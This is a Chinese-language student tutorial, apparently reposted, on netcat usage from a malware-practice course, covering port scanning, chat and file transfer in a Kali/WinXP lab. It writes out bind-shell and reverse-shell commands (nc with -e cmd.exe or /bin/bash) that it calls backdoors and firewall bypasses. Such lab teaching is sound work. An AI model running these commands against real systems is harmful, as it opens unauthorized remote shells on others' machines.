計算機病毒實踐匯總四:netcat使用方法


在嘗試學習分析的過程中,判斷結論不一定准確,只是一些我自己的思考和探索。敬請批評指正!

1. netcat概述

(1)特性

  • “TCP/IP協議棧瑞士軍刀”,可以被用在支持端口掃描、隧道、代理、端口轉發等的對外連接上。

  • 從標准輸入得到數據進行網絡傳輸,它得到的數據可以通過標准輸出顯示到屏幕上。

  • 連接模式下,作為一個客戶端:

      nc [-options] hostname [ports]
    
  • 監聽模式下,充當一個服務器:

      nc -l -p port [-options] [hostname] [port]
    

(2)常用參數

options 描述
-d 無命令行界面,使用后台模式
-e [prog] 程序重定向
-g [gateway] 源路由跳躍點, 不超過8
-G [num] 源路由指示器: 4, 8, 12, ...
-h 獲取幫助信息
-i [secs] 延時設置,端口掃描時使用
-l 監聽知道NetCat被結束(可斷開重連)
-L 無命令行界面,使用后台模式
-n 以數字形式表示的IP地址
-o [file] 使進制記錄
-p [port] 打開本地端口
-r 隨機本地和遠程的端口
-s [addr] 本地源地址
-t 以TELNET的形式應答入站請求
-u UDP 模式
-v/-vv 顯示詳細信息
-w [secs] 連接超時設置
-z I/O 模式(掃描時使用)

2. 簡單命令

  • 可以將nc.exe所在目錄放進Path中,方便調用

(1)作為客戶端

nc -v [ip] [port]
  • 掃瞄某IP的某個端口,返回信息詳細輸出。

nc -v -z [ip] [port]-[port]
  • 掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢

  • 使用netcat可以進行端口掃描。但是Netcat並不是這個工作的最佳工具,可以使用一個更高級的工具:nmap。

nc -nvv [ip] [port] 
  • 連接到某ip主機的指定端口(需開放)。

(2)作為服務器

nc -l -p 80
  • 開啟本機的TCP的80端口並監聽。

3. 使用netcat實現特定功能

(1)聊天功能

  • 雙方一個做服務器,一個做客戶端。

  • 服務器首先開啟一個端口進行監聽:

      nc -l -p [port]
    
  • 然后客戶端進行連接:

      nc [服務器ip] [port]
    
  • 此時,雙方的輸入都會顯示在對方機器上:

    • 服務器端:

    • 客戶端:

(2)文件傳輸

  • 雙方一個做服務器,一個做客戶端。

  • 在服務器上創建並且重定向netcat的輸入為待傳輸文件hyqServer.txt,那么當任何成功連接到該端口,netcat會發送文件內容。

      nc -l -p [port] < [待發送文件名]
    

  • 在客戶端我們重定向輸出到hyqClient.txt,當連接到服務器端時,服務器端發送文件內容,客戶端保存文件內容到當前目錄下的指定文件中。

      nc -n [服務器ip] [port] > [待保存文件名]
    

  • 比較兩個文件:

  • 由於服務器端使用Linux操作系統,服務器端使用Windows操作系統,對於換行符的解釋不通,導致格式不同。但內容沒有更改,是完整的。

(3)打開一個Shell

  • 實際上,Netcat更多的用於后門程序。

  • WinXP作為服務器,開啟監聽80端口,並選用-v顯示詳細信息, –e選項指向cmd.exe程序。

      nc -lv -p [port] -e cmd.exe
    
  • 若為Linux系統,可以寫做:

      nc -lv -p [port] -e /bin/bash
    
  • 此時,只要有人在所監聽的80端口上建立連接,該程序都將執行,並將輸出傳輸出去,即開啟了一個后門。

  • 我們可以在kali(作為客戶端)中使用IP和相應端口連接WinXP,成功后可以看到輸入變成了cmd的模式:

      nc -vv [ip] [port]
    

  • 可以查看到WinXP的目錄:

  • 可以進行刪除操作:

  • 刪除netcat文件夾中的Readme.txt文件:

  • 在WinXP中查看,確實被刪除了:

(4)反向Shell

  • 反向shell是指在客戶端打開的shell,可以用來繞過防火牆的限制。

  • 使用kali作為服務端打開端口監聽:

      nc -l -p [port]
    
  • WinXP作為客戶端打開相同的端口並將程序重定向到命令行:

      nc [ip] [port] -e cmd.exe
    
  • 若客戶端為Linux系統,則:

      nc [ip] [port] -e /bin/bash
    
  • 在客戶端顯示連接上了開放端口5317:

  • 此時,Linux中會反彈回客戶端的shell,並可進行操作:

4. 小結

  • 本來是病毒實踐用於嘗試分析的工具,雖然沒有深度使用這個工具,但是我覺得這個工具本身的功能很多,如果結合自己編寫的腳本應該會更能體現其價值。
  • nc是麻雀雖小,五臟俱全,這一特點有好處,也有不足。它優勢在於對沒有更高要求的簡單環境中可以實現多功能。劣勢在於每一方面的功能其實都有相應的專門的軟件,而這些專門的軟件做的比它的功能更強大和深入,就比如端口掃描,我覺得它的性能就不如nmap。

參考資料

參考資料1:NetCat使用介紹
參考資料2:nc 高級使用教程簡介
參考資料3:Linux系統中使用netcat命令的奇技淫巧
參考資料4:NetCat代碼分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM